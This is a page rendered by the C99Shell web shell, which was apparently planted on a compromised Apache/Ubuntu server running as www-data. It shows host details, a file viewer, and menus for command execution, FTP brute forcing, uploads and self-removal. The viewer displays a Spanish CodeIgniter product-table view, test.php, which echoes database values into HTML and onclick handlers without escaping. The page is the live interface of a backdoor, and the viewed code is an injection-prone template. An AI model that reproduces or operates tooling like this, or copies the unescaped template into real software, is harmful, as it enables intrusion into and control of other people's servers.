!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.4.18 (Ubuntu). PHP/7.0.33-0ubuntu0.16.04.16 

uname -a: Linux digifus 3.13.0-57-generic #95-Ubuntu SMP Fri Jun 19 09:28:15 UTC 2015 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/antonella/application/views/   drwxr-xr-x
Free 9.95 GB of 29.4 GB (33.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     test.php (1.43 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

    
    <?php
   $ruta
="/var/www/html/images/";
    
$this->table->set_heading'IMAGEN','NOMBRE','DESCRIPCION''PRECIO','STOCK','CANTIDAD','Ingresado','Agregar Carrito'); //crea la primera fila de la tabla con el encabezado
            
$tmp = array ( 'table_open'  => '<table class="table table-bordered table-striped" id="busquedaProductos" width="80%">' ); //modifica el espaciado
            
$i=1;
        
            
$this->table->set_template($tmp); //aplico los cambios de modificacion anterior
              
foreach($noticias as $dato):
             
$file=$ruta.$dato->nombre.".jpg";
              if(
file_exists($file)){
                  
$archFoto=$dato->nombre.".jpg";
              }else{
                  
$archFoto="nodisp.jpg";
              }
                
$this->table->add_row("
    <div class='image'><img style='width:100px; height:100px;' src='"
.base_url()."../../images/".$archFoto."'/>    </div>
"
,$dato->nombre,$dato->descripcion,$dato->precio_venta,$dato->stock,'<input type="number" style="width: 70%;" name="cantidadProd_'.$i.'" id="cantidadProd_'.$i.'">','<input type="checkbox" id="ingresado_'.$i.'" name="ingresado_'.$i.'">','<input class="btn btn-success"  style="width: 60%;" data-dismiss="modal"  name="botonDetalle" id="botonDetalle"  value=" + ITEM" onclick="ingresarCarrito('."'".$dato->nombre."'".','.$i.','.$dato->precio_venta.');">'); //agregamos la celda a la tabla por cada iteracion
              
$i++;
              endforeach;

            echo 
$this->table->generate(); //cuando termina generamos la tabla a partir del vector
            
    
?>

<?= $paginacion?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0046 ]--